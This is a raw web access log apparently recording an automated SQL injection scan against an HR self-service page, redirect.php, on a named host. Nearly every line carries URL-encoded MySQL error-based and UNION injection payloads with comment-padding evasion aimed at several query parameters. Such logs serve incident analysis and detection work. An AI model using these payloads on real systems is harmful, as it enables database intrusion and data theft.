100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x36486939%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x634b6975%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fc80L&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x36486939%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x634b6975%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fc80L&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x72657768%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a5a4b57%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FBzzl%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x72657768%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a5a4b57%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FBzzl%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x76623031%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d524256%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fifgx&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x76623031%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d524256%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fifgx&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x61346f48%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d326761%29%2C5431%29--%2F%2A%2A%2F1LmF&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x61346f48%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d326761%29%2C5431%29--%2F%2A%2A%2F1LmF&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4f534136%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x396c7045%29%29--%2F%2A%2A%2FXAF4&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4f534136%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x396c7045%29%29--%2F%2A%2A%2FXAF4&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x7a635454%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44326130%29%29--%2F%2A%2A%2FxnV0&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x7a635454%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44326130%29%29--%2F%2A%2A%2FxnV0&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x47424964%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69385639%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x47424964%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69385639%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x586b5941%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46744a78%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FmOsB%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x586b5941%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46744a78%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FmOsB%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x54393832%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c543230%29%2C5431%29--%2F%2A%2A%2FVxAG&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x54393832%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c543230%29%2C5431%29--%2F%2A%2A%2FVxAG&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x72657768%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a5a4b57%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FBzzl%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4567466a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x344f304c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x47445168%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72496572%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FearA&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x47445168%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72496572%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FearA&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x61546f53%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x676e474a%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FqXiX%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x61546f53%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x676e474a%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FqXiX%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x71644e30%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d443676%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FMK59&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x71644e30%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d443676%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FMK59&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x59734765%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x466f4558%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2Fb3Tn&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x59734765%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x466f4558%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2Fb3Tn&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x36644c66%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35515544%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F7mIq%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x36644c66%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35515544%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F7mIq%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x42713065%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b757855%29%29x%29%29--%2F%2A%2A%2FZbZ9&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x42713065%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b757855%29%29x%29%29--%2F%2A%2A%2FZbZ9&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x62356a68%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61793970%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FzmXf&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:35 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x62356a68%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61793970%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FzmXf&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
